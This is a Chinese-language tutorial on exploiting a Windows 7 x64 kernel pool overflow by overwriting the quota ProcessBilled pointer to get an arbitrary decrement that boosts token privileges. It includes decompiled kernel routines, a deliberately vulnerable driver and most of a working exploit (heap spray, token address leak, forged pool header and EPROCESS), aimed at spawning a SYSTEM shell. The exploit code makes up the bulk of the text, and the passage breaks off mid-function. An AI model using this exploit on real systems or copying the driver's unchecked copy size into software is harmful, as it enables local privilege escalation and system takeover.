0x0 简介
在 Win7 x64位下,内核池的头部结构如下:
nt!_POOL_HEADER
+0x000 PreviousSize : Pos 0, 8 Bits // 前一个内核堆块大小除以0x10
+0x000 PoolIndex : Pos 8, 8 Bits // 该池所在池描述符表中的索引
+0x000 BlockSize : Pos 16, 8 Bits // 该池大小除以0x10
+0x000 PoolType : Pos 24, 8 Bits // 该池的类型
+0x000 Ulong1 : Uint4B
+0x004 PoolTag : Uint4B // 该池的标志
+0x008 ProcessBilled : Ptr64 _EPROCESS // 该池所属的进程
+0x008 AllocatorBackTraceIndex : Uint2B
+0x00a PoolTagHash : Uint2B
正常情况下,我们在内核中分配的池无非就是两种类型(PoolType)分页池(PagedPool = 0x1)和非分页池(NonPagedPool = 0x0),这两种类型的池头,其 ProcessBilled是无效的。而系统中还有一种类型的池叫做 PoolQuota(0x8),这表示该池由某个进程分配,这个进程的 EPROCESS就是池头的 ProcessBilled。
As processes can be charged for allocated pool memory, pool allocations must provide sufficient information for the pool algorithms to return the charged quota to the right process. For this reason, pool chunks may optionally store a pointer to the associated process object. On x64, the process object pointer is stored in the last eight bytes of the pool header as described in Section 2.9, while on x86, the pointer is appended to the pool body. Overwriting this pointer (Figure 7) in a pool corruption vulnerability could allow an attacker to free an in-use process object or corrupt arbitrary memory in returning the charged quota.(由于进程可以为已分配的池内存收费,因此池分配必须为池算法提供足够的信息,以便将收费的配额返回给正确的进程。出于这个原因,池块可以选择存储指向相关进程对象的指针。在 x64上,进程对象指针存储在池头的最后 8个字节中,如第2.9节所述,而在 x86上,指针被附加到池体中。在池破坏漏洞中覆盖这个指针(图7)可能会让攻击者释放正在使用的进程对象,或在返回收费配额时破坏任意内存。)
Whenever a pool allocation is freed, the free algorithm inspects the pool type for the quota bit (0x8) before actually returning the memory to the proper free list or lookaside. If the bit is set, it will attempt to return the charged quota by calling nt!PspReturnQuota and then dereference the associated process object. Thus, overwriting the process object pointer could allow an attacker to decrement the reference (pointer) count of an arbitrary process object. Reference count inconsistencies could subsequently lead to use-after-frees if the right conditions are met (such as the handle count being zero when the reference count is lowered to zero).(每当一个池分配被释放时,在实际将内存返回到适当的空闲列表或备用表之前,空闲算法会检查池类型中的配额位(0x8)。如果设置了该位,它将通过调用
n
t
!
P
s
p
R
e
t
u
r
n
Q
u
o
t
a
\textcolor{cornflowerblue}{nt!PspReturnQuota}
nt!PspReturnQuota,然后解引用关联的进程对象。因此,重写进程对象指针可能允许攻击者这样做,递减任意进程对象的引用(指针)计数。如果满足了正确的条件(例如,当引用计数降为零时,句柄计数为零),引用计数不一致可能会导致释放后使用。)
If the process object pointer is replaced with a pointer to user-mode memory, the attacker could create a fake EPROCESS object to control the pointer to the EPROCESS QUOTA BLOCK structure (Figure 8), in which quota information is stored. On free, the value indicating the quota used in this structure is updated, by subtracting the size of the allocation. Thus, an attacker could decrement the value of an arbitrary address upon returning the charged quota. An attacker can mount both attacks on any pool allocation as long as the quota bit and the quota process object pointer are both set.(如果进程对象指针被替换为指向用户模式内存的指针,攻击者可以创建一个假的 EPROCESS对象来控制指向EPROCESS_QUOTA_BLOCK 结构的指针(图8),配额信息存储在这个结构中。在空闲时,通过减去分配的大小来更新指示该结构中使用的配额的值。因此,攻击者可以在返回收费配额时减少任意地址的值。只要配额位和配额进程对象指针都设置了,攻击者就可以对任何池分配进行这两种攻击。)
网
上
能
找
到
的
关
于
覆
盖
配
额
进
程
指
针
的
利
用
方
式
描
述
的
不
够
具
体
,
于
是
我
花
了
比
较
多
的
时
间
去
逆
向
分
析
了
系
统
的
相
关
算
法
。
\textcolor{green}{网上能找到的关于覆盖配额进程指针的利用方式描述的不够具体,于是我花了比较多的时间去逆向分析了系统的相关算法。}
网上能找到的关于覆盖配额进程指针的利用方式描述的不够具体,于是我花了比较多的时间去逆向分析了系统的相关算法。
0x1 原理
■ ExFreePoolWithTag 分析
E
x
F
r
e
e
P
o
o
l
W
i
t
h
T
a
g
\textcolor{cornflowerblue}{ExFreePoolWithTag}
ExFreePoolWithTag函数中对具有 PoolQuota类型池的回收方式:
...
if ( PoolType & 8 )
{
PoolType_1 = PrevSize[3];
if ( PoolType_1 & 8 )
{
ProceeBilled = *((_QWORD *)PrevSize + 1);
if ( ProceeBilled )
{
JUMPOUT(*(_BYTE *)ProceeBilled & 0x7F, 3, &sub_1401AAD28);
JUMPOUT(ProceeBilled, PsInitialSystemProcess, sub_1401AAD45);
PspReturnQuota(
*(_QWORD *)(ProceeBilled + 0x1C0),
*((_QWORD *)PrevSize + 1),
(PoolType_1 & 1) == 1,
0x10i64 * PrevSize[2]);
JUMPOUT(ObpTraceFlags, 0, sub_1401AAD4F);
v43 = _InterlockedDecrement64((volatile signed __int64 *)(ProceeBilled - 0x30));
if ( v43 )
{
if ( v43 < 0 )
sub_1401AAD9F(1i64);
}
else
{
JUMPOUT(*(_QWORD *)(ProceeBilled - 0x30 + 8), 0i64, &sub_1401AAD7B);
ObpDeferObjectDeletion(ProceeBilled - 0x30);
}
}
}
}
...
■ PspReturnQuota分析
unsigned __int64 __fastcall PspReturnQuota(unsigned __int64 QuotaBlock, __int64 ProcessBilled, int bIsPagedPool, unsigned __int64 BlockSize)
{
...
BlockSize_1 = BlockSize;
...
_RBP = ((signed __int64)bIsPagedPool << 7) + QuotaBlock;
__asm { prefetchw byte ptr [rbp+0] }
QuotaValue1 = *(_QWORD *)_RBP;
QuotaValue2 = *(_QWORD *)(_RBP + 0x40);
if ( *(_QWORD *)(_RBP + 0x50) )
{
if ( QuotaValue2 > QuotaValue1 )
{
QuotaExpansionDescriptor = 0x38i64 * bIsPagedPool + 0x1402279A0i64;
PoolQuota = qword_1402279A8[7 * bIsPagedPool];
if...
}
}
do
{
JUMPOUT(BlockSize_1, QuotaValue1, sub_140027672);
result = _InterlockedCompareExchange((volatile signed __int64 *)_RBP, QuotaValue1 - BlockSize_1, QuotaValue1);
v13 = QuotaValue1 == result;
QuotaValue1 = result;
}
while ( !v13 );
...
return result;
}
- @line:25 这个地方就是简介中论文提到的利用点,将
Q
u
o
t
a
V
a
l
u
e
1
?
B
l
o
c
k
S
i
z
e
\textcolor{orange}{QuotaValue1-BlockSize}
QuotaValue1?BlockSize的值写入到 _RBP指向的内存中,而 _RBP指针又是根据 bIsPagedPool和 QuotaBlock来获取。由于大前提是我们能够通过池漏洞覆盖 ProcessBilled指针,QuotaBlock位于
E
P
R
O
C
E
S
S
+
0
x
1
C
0
\textcolor{orange}{EPROCESS+0x1C0}
EPROCESS+0x1C0,所以 _RBP指针是可控的,这样我们便获得了一次任意内存写的机会。
0x2 利用
根据 @0x1 原理一节的分析,我们需要对 ProcessBilled指向的内存,也就是 EPROCESS结构进行一些伪造,才能成功获得一次任意内存写的机会。函数
E
x
F
r
e
e
P
o
o
l
W
i
t
h
T
a
g
\textcolor{cornflowerblue}{ExFreePoolWithTag}
ExFreePoolWithTag对 EPROCESS的检查有两个地方;
JUMPOUT(*(_BYTE *)ProceeBilled & 0x7F, 3, &sub_1401AAD28);
...
v43 = _InterlockedDecrement64((volatile signed __int64 *)(ProceeBilled - 0x30));
if ( v43 )
{
if ( v43 < 0 )
sub_1401AAD9F(1i64);
}
else
{
JUMPOUT(*(_QWORD *)(ProceeBilled - 0x30 + 8), 0i64, &sub_1401AAD7B);
ObpDeferObjectDeletion(ProceeBilled - 0x30);
}
- 伪造 ProceeBilled起始处内存值为 0x3
- 伪造
P
r
o
c
e
e
B
i
l
l
e
d
?
0
x
30
\textcolor{orange}{ProceeBilled - 0x30}
ProceeBilled?0x30处的内存值大于 1
然后是伪造 BlockQuota指向的内存,
B
l
o
c
k
Q
u
o
t
a
?
=
?
E
P
R
O
C
E
S
S
+
0
x
1
C
0
\textcolor{orange}{BlockQuota\ =\ EPROCESS+0x1C0}
BlockQuota?=?EPROCESS+0x1C0。要注意的有几个地方:
这里统一视作非分页池来利用,也就是说
b
I
s
P
a
g
e
d
P
o
o
l
=
0
\textcolor{orange}{bIsPagedPool=0}
bIsPagedPool=0,这样 _RBP就是 BlockQuota的第一个 8字节数据。我们将 _RBP的值设置为当前进程的
T
o
k
e
n
+
0
x
48
\textcolor{orange}{Token+0x48}
Token+0x48,然后 QuotaValue1也就是
?
(
T
o
k
e
n
+
0
x
48
)
\textcolor{orange}{*(Token+0x48)}
?(Token+0x48)。下面将解释为什么要这么设置 _RBP。
首先来看TOKEN 的结构体:
nt!_TOKEN
+0x000 TokenSource : _TOKEN_SOURCE
+0x010 TokenId : _LUID
+0x018 AuthenticationId : _LUID
+0x020 ParentTokenId : _LUID
+0x028 ExpirationTime : _LARGE_INTEGER
+0x030 TokenLock : Ptr64 _ERESOURCE
+0x038 ModifiedId : _LUID
+0x040 Privileges : _SEP_TOKEN_PRIVILEGES
+0x058 AuditPolicy : _SEP_AUDIT_POLICY
...
我们主要关注的是位于
T
O
K
E
N
+
0
x
40
\textcolor{orange}{TOKEN+0x40}
TOKEN+0x40处的 Privileges,该结构限制了进程的权限。
nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : Uint8B
+0x008 Enabled : Uint8B
+0x010 EnabledByDefault : Uint8B
这是个包含位掩码的结构体,Enabled掩码表示了该进程具有的权限,该位掩码默认值是 0x80000000,即默认具有 SeChangeNotifyPrivilege权限。所以QuotaValue1默认值也就是 0x80000000。当执行到
?
_
R
B
P
?
=
?
Q
u
o
t
a
V
a
l
u
e
1
?
?
?
B
l
o
c
k
S
i
z
e
\textcolor{orange}{*\_RBP\ =\ QuotaValue1\ -\ BlockSize}
?_RBP?=?QuotaValue1???BlockSize,并且控制 BlockSize尽量小,例如 0x1,0x30等等,那么 Enabled就会变成 0x7fff… 这样形式的值,反而使得 Privileges表示了更多更大的权限,从而达到权限提升的目的。最后再向 winlogon.exe进程注入 shellcode,弹出一个 SYSTEM的 cmd,就完美实现了提权。
最终我们的内存布局如下图所示:
- 利用堆喷,构造出两个相邻的内核堆,Vuln Pool和 Victim Pool。通过溢出 Vuln Pool覆盖 Victim Pool的
_POOL_HEADER 结构,然后将 ProcessBilled覆盖为自己伪造的 EPROCESS。
0x3 泄露Token
Win7下可以通过函数
Z
w
Q
u
e
r
y
S
y
s
t
e
m
I
n
f
o
r
m
a
t
i
o
n
\textcolor{cornflowerblue}{ZwQuerySystemInformation}
ZwQuerySystemInformation泄露 Token在内核中的位置。
NTSTATUS
ZwQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
利用系统信息类枚举值 SystemExtendedHandleInformation(64) ,即可查询系统所有的句柄信息,然后对比 Token的句柄信息和 进程ID即可获取 Token对象在内核中的地址。
SystemExtendedHandleInformation(64) 对应的结构如下:
typedef struct _SYSTEM_HANDLE
{
PVOID Object;
HANDLE UniqueProcessId;
HANDLE HandleValue;
ULONG GrantedAccess;
USHORT CreatorBackTraceIndex;
USHORT ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
ULONG_PTR HandleCount;
ULONG_PTR Reserved;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;
获取当前进程的 Token句柄:
HANDLE hToken = INVALID_HANDLE_VALUE;
OpenProcessToken(GetCurrentProcess(), GENERIC_READ, &hToken);
获取当前进程的 Token在内核中的地址:
ULONG64 GetToken() {
PSYSTEM_HANDLE_INFORMATION_EX sys_handle_info_ref = NULL;
ULONG64 Token = 0;
ULONG len = 20;
NTSTATUS ntst = 0;
OpenProcessToken(GetCurrentProcess(), GENERIC_READ, &hToken);
if (hToken == INVALID_HANDLE_VALUE) {
printf("[Error_%d] GetToken(): OpenProcessToken failed.\n", __LINE__);
return 0;
}
do {
len *= 2;
sys_handle_info_ref = (PSYSTEM_HANDLE_INFORMATION_EX)realloc(sys_handle_info_ref, len);
ntst = ZwQuerySystemInformation(SystemExtendedHandleInformation, sys_handle_info_ref, len, &len);
} while (ntst == STATUS_INFO_LENGTH_MISMATCH);
if (ntst != 0) {
printf("[Error_%d] GetToken(): ZwQuerySystemInformation failed.\n", __LINE__);
if (sys_handle_info_ref)
free(sys_handle_info_ref);
return 0;
}
DWORD pid = GetCurrentProcessId();
for (int i = 0; i < sys_handle_info_ref->HandleCount; i++) {
if (hToken == sys_handle_info_ref->Handles[i].HandleValue
&& (HANDLE)pid== sys_handle_info_ref->Handles[i].UniqueProcessId) {
Token = (ULONG64)sys_handle_info_ref->Handles[i].Object;
break;
}
}
if (sys_handle_info_ref)
free(sys_handle_info_ref);
return Token;
}
0x4 实战
■ 漏洞代码
这是我自己写的一个漏洞驱动。
dirver.cpp:
#include "driver.h"
NTSTATUS CreateDevice(IN PDRIVER_OBJECT pDriver) {
UNICODE_STRING devName;
UNICODE_STRING symName;
PDEVICE_OBJECT pDeviceObject;
NTSTATUS ntstatus = STATUS_SUCCESS;
RtlInitUnicodeString(&devName, DEV_NAME);
ntstatus = IoCreateDevice(
pDriver,
sizeof(Demo_Data),
&devName,
FILE_DEVICE_UNKNOWN,
0,
TRUE,
&pDeviceObject
);
if (!NT_SUCCESS(ntstatus)) {
KdPrint(("[Demo_sys] CreateDevice(): 设备创建失败!错误代码:0x%X\n", ntstatus));
return ntstatus;
}
Demo_Data_Ref dat = (Demo_Data_Ref)ExAllocatePoolWithTag(NonPagedPool, sizeof(Demo_Data), POOL_TAG);
if (dat == NULL) {
IoDeleteDevice(pDeviceObject);
KdPrint(("[Demo_sys] CreateDevice(): 系统资源紧缺!错误代码:0x%X\n", ntstatus));
return ntstatus;
}
RtlFillMemory(dat, sizeof(Demo_Data), 0);
pDeviceObject->DeviceExtension = dat;
RtlInitUnicodeString(&symName, SYMLINK_NAME);
ntstatus = IoCreateSymbolicLink(&symName, &devName);
if (!NT_SUCCESS(ntstatus)) {
KdPrint(("[Demo_sys] CreateDevice(): 符号链接创建失败!错误代码:0x%X\n", ntstatus));
IoDeleteDevice(pDeviceObject);
return ntstatus;
}
pDeviceObject->Flags &= ~DO_DEVICE_INITIALIZING;
return ntstatus;
}
NTSTATUS MyDispatch(IN PDEVICE_OBJECT pDevice, PIRP pIrp) {
NTSTATUS ntstatus = STATUS_SUCCESS;
PIO_STACK_LOCATION pIostk;
Ring3_Data_Ref UsrDat = NULL;
pIostk = IoGetCurrentIrpStackLocation(pIrp);
Demo_Data_Ref ddat = (Demo_Data_Ref)pDevice->DeviceExtension;
switch (pIostk->MajorFunction)
{
case IRP_MJ_DEVICE_CONTROL://应用层传来的控制信息
{
UsrDat = (Ring3_Data_Ref)pIrp->AssociatedIrp.SystemBuffer;
switch (pIostk->Parameters.DeviceIoControl.IoControlCode)
{
case IRP_ALLOC_HEAP:
KernelHeap_Alloc(ddat, UsrDat);
break;
case IRP_FREE_HEAP:
KernelHeap_Free(ddat, UsrDat);
break;
case IRP_WRITE_DATA:
Update_Data(ddat, UsrDat);
break;
case IRP_BREAKPOINT:
KdBreakPoint();
break;
default:
break;
}
break;
}
case IRP_MJ_CREATE:
ddat->Alloc_List = (PCHAR*)ExAllocatePoolWithTag(PagedPool, sizeof(PCHAR) * POOL_NUM, POOL_TAG);
RtlFillMemory(ddat->Alloc_List, sizeof(PCHAR) * POOL_NUM, NULL);
KdPrint(("[Demo_sys] 祝您的黑客之旅愉快!\n"));
break;
case IRP_MJ_CLOSE:
{
for (ULONG i = 0; i < POOL_NUM; i++)
{
if (ddat->Alloc_List[i])
{
ExFreePoolWithTag(ddat->Alloc_List[i], POOL_TAG);
ddat->Alloc_List[i] = NULL;
}
}
ExFreePoolWithTag(ddat->Alloc_List, POOL_TAG);
ddat->Alloc_List = NULL;
KdPrint(("[Demo_sys] 再见,黑客!\n"));
break;
}
}
pIrp->IoStatus.Status = STATUS_SUCCESS;
pIrp->IoStatus.Information = 0;
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
return ntstatus;
}
VOID UnloadDriver(IN PDRIVER_OBJECT pDriverObject) {
if (pDriverObject->DeviceObject!=NULL) {
IoDeleteDevice(pDriverObject->DeviceObject);
}
UNICODE_STRING symName;
RtlInitUnicodeString(&symName, SYMLINK_NAME);
IoDeleteSymbolicLink(&symName);
KdPrint(("[Demo_sys] Over~\n"));
}
extern "C"
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING pRegPath) {
NTSTATUS ntst = STATUS_SUCCESS;
ntst=CreateDevice(pDriverObject);
if (!NT_SUCCESS(ntst))
return ntst;
pDriverObject->MajorFunction[IRP_MJ_CREATE] = MyDispatch;
pDriverObject->MajorFunction[IRP_MJ_CLOSE] = MyDispatch;
pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = MyDispatch;
pDriverObject->DriverUnload = UnloadDriver;
return ntst;
}
PVOID KernelHeap_Alloc(IN Demo_Data_Ref ddt,IN Ring3_Data_Ref data) {
PVOID KernelBuffer = NULL;
PAGED_CODE();
if (ddt == NULL || data->Index >= POOL_NUM) {
KdPrint(("[Demo_sys] KernelHeap_Alloc(): 参数错误。\n"));
return NULL;
}
if (ddt->Counts >= POOL_NUM) {
KdPrint(("[Demo_sys] KernelHeap_Alloc(): 分配的池数量最多为%u个,已经超额。\n",POOL_NUM));
return NULL;
}
if (ddt->Alloc_List[data->Index] == NULL)
{
ddt->Counts += 1;
KernelBuffer = ExAllocatePoolWithTag((POOL_TYPE)data->Type, data->Size, POOL_TAG2);
ddt->Alloc_List[data->Index] = (PCHAR)KernelBuffer;
return KernelBuffer;
}
return KernelBuffer;
}
VOID KernelHeap_Free(IN Demo_Data_Ref ddt, IN Ring3_Data_Ref data) {
PAGED_CODE();
if (ddt == NULL || data->Index >= POOL_NUM) {
KdPrint(("[Demo_sys] KernelHeap_Free(): 参数错误。\n"));
return;
}
if (ddt->Alloc_List[data->Index])
{
ExFreePoolWithTag(ddt->Alloc_List[data->Index], POOL_TAG2);
ddt->Alloc_List[data->Index] = NULL;
ddt->Counts -= 1;
}
}
VOID Update_Data(IN Demo_Data_Ref ddt, IN Ring3_Data_Ref data) {
PAGED_CODE();
if (ddt == NULL || data->Index >= POOL_NUM) {
KdPrint(("[Demo_sys] KernelHeap_Free(): 参数错误。\n"));
return;
}
if (ddt->Alloc_List[data->Index])
{
RtlMoveMemory(ddt->Alloc_List[data->Index], &data->Data, data->Size);
}
}
driver.h:
#pragma once
#include<ntddk.h>
#define DEV_NAME L"\\device\\demo"
#define SYMLINK_NAME L"\\??\\demo"
#define POOL_TAG 'Demo'
#define POOL_TAG2 'Hack'
#define POOL_NUM 0x10000
#define MAKE_IOCODE(x) CTL_CODE (FILE_DEVICE_UNKNOWN,(x),METHOD_BUFFERED,FILE_ANY_ACCESS)
#define IRP_ALLOC_HEAP MAKE_IOCODE(0x801)
#define IRP_FREE_HEAP MAKE_IOCODE(0x802)
#define IRP_WRITE_DATA MAKE_IOCODE(0x803)
#define IRP_BREAKPOINT MAKE_IOCODE(0x804)
#pragma pack(4)
typedef struct _Ring3_Data {
ULONG Type;
ULONG Size;
ULONG Index;
char Data[1];
}Ring3_Data,*Ring3_Data_Ref;
typedef struct _Demo_Data {
PCHAR* Alloc_List;
ULONG Counts;
}Demo_Data,* Demo_Data_Ref;
#pragma pack()
EXTERN_C_START
VOID UnloadDriver(IN PDRIVER_OBJECT pDriverObject);
NTSTATUS CreateDevice(IN PDRIVER_OBJECT pDriver);
NTSTATUS MyDispatch(IN PDEVICE_OBJECT pDevice, PIRP pIrp);
PVOID KernelHeap_Alloc(IN Demo_Data_Ref ddt,IN Ring3_Data_Ref data);
VOID KernelHeap_Free(IN Demo_Data_Ref ddt,IN Ring3_Data_Ref data);
VOID Update_Data(IN Demo_Data_Ref ddt, IN Ring3_Data_Ref data);
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING pRegPath);
EXTERN_C_END
#ifdef ALLOC_PRAGMA
#define ALLOC_PRAGMA
#pragma alloc_text(INIT, DriverEntry)
#pragma alloc_text(PAGE, KernelHeap_Alloc)
#pragma alloc_text(PAGE, KernelHeap_Free)
#pragma alloc_text(PAGE, Update_Data)
#endif
在
W
i
n
7
_
x
64
下
编
译
运
行
\textcolor{green}{在Win7\_x64下编译运行}
在Win7_x64下编译运行
■ 漏洞分析
源码已经给出,简单说一下。这是个堆溢出漏洞,用户使用 IRP_WRITE_DATA控制码,设定一个
R
i
n
g
3
_
D
a
t
a
.
S
i
z
e
\textcolor{orange}{Ring3\_Data.Size}
Ring3_Data.Size大于分配的大小,就会发生溢出,写入的内容由
R
i
n
g
3
_
D
a
t
a
.
D
a
t
a
\textcolor{orange}{Ring3\_Data.Data}
Ring3_Data.Data指定,
R
i
n
g
3
_
D
a
t
a
\textcolor{orange}{Ring3\_Data}
Ring3_Data是个可变长结构,以 4字节对齐。
IRP_ALLOC_HEAP 控制码控制驱动分配一块内核池,用户通过设定 Ring3_Data 的相关成员来获得想要的内核池类型和大小。
IRP_FREE_HEAP控制码控制驱动释放指定的内核池,用户通过设定
R
i
n
g
3
_
D
a
t
a
.
I
n
d
e
x
\textcolor{orange}{Ring3\_Data.Index}
Ring3_Data.Index来指明释放的是哪块内核池。
■ 漏洞利用
首先需要进行堆喷,构造出至少一对连续的内核池,经测试,当喷射到达 0x2000以上,比较稳定地出现第 0x2000个内核池后紧跟着相同标记的内核池的现象。
然后根据 @0x2 利用一节介绍的方法,构造 POOL_HEADER 和 ProcessBilled。
■ EXP
exploit.h:
#pragma once
#include<windows.h>
#define SYMLINK_NAME "\\\\.\\demo"
#define MAKE_IOCODE(x) CTL_CODE (FILE_DEVICE_UNKNOWN,(x),METHOD_BUFFERED,FILE_ANY_ACCESS)
#define IRP_ALLOC_HEAP MAKE_IOCODE(0x801)
#define IRP_FREE_HEAP MAKE_IOCODE(0x802)
#define IRP_WRITE_DATA MAKE_IOCODE(0x803)
#define IRP_BREAKPOINT MAKE_IOCODE(0x804)
#define Type_Offset(_type,_m) ((size_t) & ((_type *)0)->_m )
#define NonPagedPool 0
#define PoolQutoa 0x8
#define SPRAY_COUNTS 0x5000
#define BUFFER_SIZE 0x20
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#pragma pack(4)
typedef struct _Ring3_Data {
ULONG Type;
ULONG Size;
ULONG Index;
char Data[1];
}Ring3_Data, * Ring3_Data_Ref;
#pragma pack()
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemProcessorInformation=1,
SystemExtendedHandleInformation = 64
} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_HANDLE
{
PVOID Object;
HANDLE UniqueProcessId;
HANDLE HandleValue;
ULONG GrantedAccess;
USHORT CreatorBackTraceIndex;
USHORT ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
ULONG_PTR HandleCount;
ULONG_PTR Reserved;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;
typedef NTSTATUS (WINAPI* ZwQuerySystemInformation_t)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
typedef NTSTATUS(WINAPI* NtAllocateVirtualMemory_t)(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect);
HANDLE OpenDevice();
bool Heap_Spray(HANDLE hDev);
void Exploit();
bool IoDriver(HANDLE hDevice, DWORD IoCode, Ring3_Data_Ref data, DWORD size);
bool Init();
void GetShell();
bool CheckPrivilege(HANDLE TokenHandle);
DWORD getProcessId(TCHAR* name);
exploit.cpp:
#include "exploit.h"
#include<stdio.h>
#include<stdlib.h>
#include <psapi.h>
#pragma comment(lib, "Psapi.lib ")
ZwQuerySystemInformation_t ZwQuerySystemInformation = 0;
NtAllocateVirtualMemory_t NtAllocateVirtualMemory=0;
HANDLE hToken = INVALID_HANDLE_VALUE;
HANDLE OpenDevice() {
HANDLE hDev = INVALID_HANDLE_VALUE;
hDev = CreateFileA(
SYMLINK_NAME,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0
);
return hDev;
}
bool IoDriver(HANDLE hDevice,DWORD IoCode, Ring3_Data_Ref data,DWORD size) {
DWORD dwWrite;
return DeviceIoControl(
hDevice,
IoCode,
data,
size,
NULL,
0,
&dwWrite,
NULL
);
}
bool Heap_Spray(HANDLE hDev) {
Ring3_Data data;
data.Size = BUFFER_SIZE;
data.Type = NonPagedPool;
for (int i = 0; i < SPRAY_COUNTS; i++) {
data.Index = i;
if (!IoDriver(hDev, IRP_ALLOC_HEAP, &data, sizeof(Ring3_Data))) {
printf("[Error_%d] Heap_Spray(): IoDriver failed.\n", __LINE__);
return FALSE;
}
}
return TRUE;
}
ULONG64 GetToken() {
PSYSTEM_HANDLE_INFORMATION_EX sys_handle_info_ref = NULL;
ULONG64 Token = 0;
ULONG len = 20;
NTSTATUS ntst = 0;
OpenProcessToken(GetCurrentProcess(), GENERIC_READ, &hToken);
if (hToken == INVALID_HANDLE_VALUE) {
printf("[Error_%d] GetToken(): OpenProcessToken failed.\n", __LINE__);
return 0;
}
do {
len *= 2;
sys_handle_info_ref = (PSYSTEM_HANDLE_INFORMATION_EX)realloc(sys_handle_info_ref, len);
ntst = ZwQuerySystemInformation(SystemExtendedHandleInformation, sys_handle_info_ref, len, &len);
} while (ntst == STATUS_INFO_LENGTH_MISMATCH);
if (ntst != 0) {
printf("[Error_%d] GetToken(): ZwQuerySystemInformation failed.\n", __LINE__);
if (sys_handle_info_ref)
free(sys_handle_info_ref);
return 0;
}
DWORD pid = GetCurrentProcessId();
for (int i = 0; i < sys_handle_info_ref->HandleCount; i++) {
if (hToken == sys_handle_info_ref->Handles[i].HandleValue
&& (HANDLE)pid== sys_handle_info_ref->Handles[i].UniqueProcessId) {
Token = (ULONG64)sys_handle_info_ref->Handles[i].Object;
break;
}
}
if (sys_handle_info_ref)
free(sys_handle_info_ref);
return Token;
}
bool CheckPrivilege(HANDLE TokenHandle)
{
BOOL isPrivilegeSet=FALSE;
PRIVILEGE_SET privSet;
LUID_AND_ATTRIBUTES Privileges[1];
LookupPrivilegeValue(NULL, L"SeDebugPrivilege", &(Privileges[0].Luid));
Privileges[0].Attributes = 0;
privSet.PrivilegeCount = 1;
privSet.Control = PRIVILEGE_SET_ALL_NECESSARY;
memcpy(privSet.Privilege, Privileges, sizeof(Privileges));
PrivilegeCheck(TokenHandle, &privSet, &isPrivilegeSet);
return isPrivilegeSet;
}
void Exploit() {
ULONG64 Token = GetToken();
if (Token == 0)return;
HANDLE hDev = OpenDevice();
if (hDev == INVALID_HANDLE_VALUE) {
printf("[Error_%d] Exploit(): OpenDevice failed.\n",__LINE__);
return;
}
Heap_Spray(hDev);
IoDriver(hDev, IRP_BREAKPOINT, NULL, 0);
PCHAR pay = (PCHAR)GlobalAlloc(GMEM_ZEROINIT, sizeof(Ring3_Data)+0x30+0x200);
Ring3_Data_Ref data=(Ring3_Data_Ref)pay;
data->Index = 0x2000;
data->Size = 0x30;
RtlFillMemory(pay + Type_Offset(Ring3_Data,Data), 0x20, 'AAAA');
PCHAR FakeHeader= pay + Type_Offset(Ring3_Data, Data) +0x20;
FakeHeader[0] = 0x3;
FakeHeader[1] = 0;
FakeHeader[2] = 0x3;
FakeHeader[3] = 0xA;
*(PULONG)&FakeHeader[4] = 'Hack';
PCHAR FakeChunk = FakeHeader + 0x20;
*(PULONG64)FakeChunk = 0x70;
PCHAR FakeEp = FakeChunk + 0x30;
PCHAR FakeQuota = FakeEp + 0x1c0;
FakeEp[0] = 0x3;
*(PULONG64)FakeQuota = (ULONG64)(Token + 0x48);
*(PULONG64)&FakeHeader[8] = (ULONG64)FakeEp;
printf("[+] Found Token = %p\n",Token);
printf("[+] Fake EPROCESS = %p\n", FakeEp);
if (!IoDriver(hDev, IRP_WRITE_DATA, data, sizeof(Ring3_Data)+ data->Size)) {
printf("[Error_%d] Heap_Spray(): IoDriver failed.\n", __LINE__);
return;
}
CloseHandle(hDev);
if (CheckPrivilege(hToken)) {
printf("[+] Token privilege set !\n");
GetShell();
}
}
DWORD getProcessId(TCHAR* name)
{
DWORD aProcesses[1024], cbNeeded, cProcesses;
unsigned int i;
if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded))
{
printf("[-]EnumProcess failed...\n");
exit(0);
}
cProcesses = cbNeeded / sizeof(DWORD);
for (i = 0; i < cProcesses; i++)
{
if (aProcesses[i] != 0)
{
DWORD processID = aProcesses[i];
TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>");
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ,
FALSE, processID);
if (NULL != hProcess)
{
HMODULE hMod;
DWORD cbNeeded;
if (EnumProcessModules(hProcess, &hMod, sizeof(hMod),
&cbNeeded))
{
GetModuleBaseName(hProcess, hMod, szProcessName,
sizeof(szProcessName) / sizeof(TCHAR));
}
}
if (!lstrcmpW(szProcessName, name))
{
CloseHandle(hProcess);
return (processID);
}
CloseHandle(hProcess);
}
}
return 0;
}
bool Init() {
HMODULE hNt = GetModuleHandle(L"ntdll");
if (hNt == NULL) {
printf("[Error_%d] Init(): LoadLibraryA failed.\n", __LINE__);
return FALSE;
}
